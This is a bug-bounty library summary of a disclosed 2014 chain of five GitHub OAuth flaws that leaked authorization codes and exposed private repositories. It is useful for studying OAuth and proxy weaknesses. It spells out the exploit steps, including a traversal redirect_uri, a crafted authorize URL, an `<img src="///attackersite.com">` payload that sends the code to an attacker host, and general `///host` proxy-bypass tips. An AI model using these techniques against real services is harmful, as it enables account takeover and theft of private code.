# How I hacked Github again.

Five chained GitHub OAuth flaws let an attacker leak a victim's authorization code via a gist image and steal a repo-scoped token, exposing private repositories.

- Payout: $4,000
- Severity: high
- Program: GitHub
- Credited: Egor Homakov
- Disclosed: 2014-02-07
- Write-up quality: 9/10
- Original: http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html
- Library page: https://bugbountylibrary.com/r/blog%3Ahomakov-blogspot-com-2014-02-how-i-hacked-github-again-html
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:parser-differential vuln:auth-bypass vuln:info-disclosure vuln:open-redirect

**Target:** GitHub OAuth authorize/get-token endpoints and Gist client
**Root cause:** redirect_uri path traversal bypassed subdirectory validation, the token endpoint failed to bind code to redirect_uri, and the pre-approved Gist client auto-approved arbitrary scopes while leaking its token in a cookie.
**Steps:**
1. Confirm redirect_uri path traversal: `redirect_uri=https://gist.github.com/auth/github/callback/../../../homakov/8820324` passes validation.
2. Note get-token endpoint accepts any redirect_uri for a code, so a leaked code can be redeemed on the real client callback.
3. Inject `<img src="///attackersite.com">` into a gist; Camo proxy is bypassed because Ruby URI parses `///host` as path-relative while browsers treat it as protocol-relative.
4. Send victim `https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications`.
5. GitHub 302s to `https://gist.github.com/homakov/8820324?code=CODE`; the injected img loads attacker host with Referer containing the code.
6. Redeem leaked code at `https://gist.github.com/auth/github/callback?code=CODE` to log into victim's Gist account.
7. Decode Base64 `_gist_session` cookie to extract the victim's github_token (scope now includes repo).
8. Use token via API for read/write access to victim's private repositories.
**How found:** Reading OAuth docs, noticed redirect_uri must reference a subdirectory of callback; tried `/../` traversal and it worked. Then tested whether get-token enforced redirect_uri binding — it didn't. Enumerated pre-approved OAuth clients on the Applications page, picked Gist, hunted a Referer-leaking vector, bypassed Camo with `///host` after recalling Ruby-vs-browser URL parsing differences. Decoded _gist_session cookie out of curiosity about session persistence, then hypothesized pre-approved clients auto-approve any scope.
**Exploitation:** Attacker crafts an authorize URL with a traversed redirect_uri pointing at an attacker-controlled gist containing a protocol-relative img. Victim loads it, browser follows redirect to the gist, img fires to attacker host leaking the code in Referer. Attacker redeems code on Gist callback, decodes _gist_session to steal a repo-scoped github_token, then uses it directly against the GitHub API for private repo read/write. Script-less, no user interaction beyond loading the URL.
**Escalation:** Chained five low-severity bugs; requesting extra scopes (repo, delete_repo, notifications) on the pre-approved Gist client auto-approved them, upgrading a gists-only token to full private repo access.
**Insight:** Pre-approved/first-party OAuth clients that skip the consent screen will silently grant any scope requested — always test scope escalation on them. Also test `///host` payloads against image proxies: server-side URL parsers (Ruby URI) treat it as a path while browsers treat it as protocol-relative, defeating the proxy and leaking Referer.
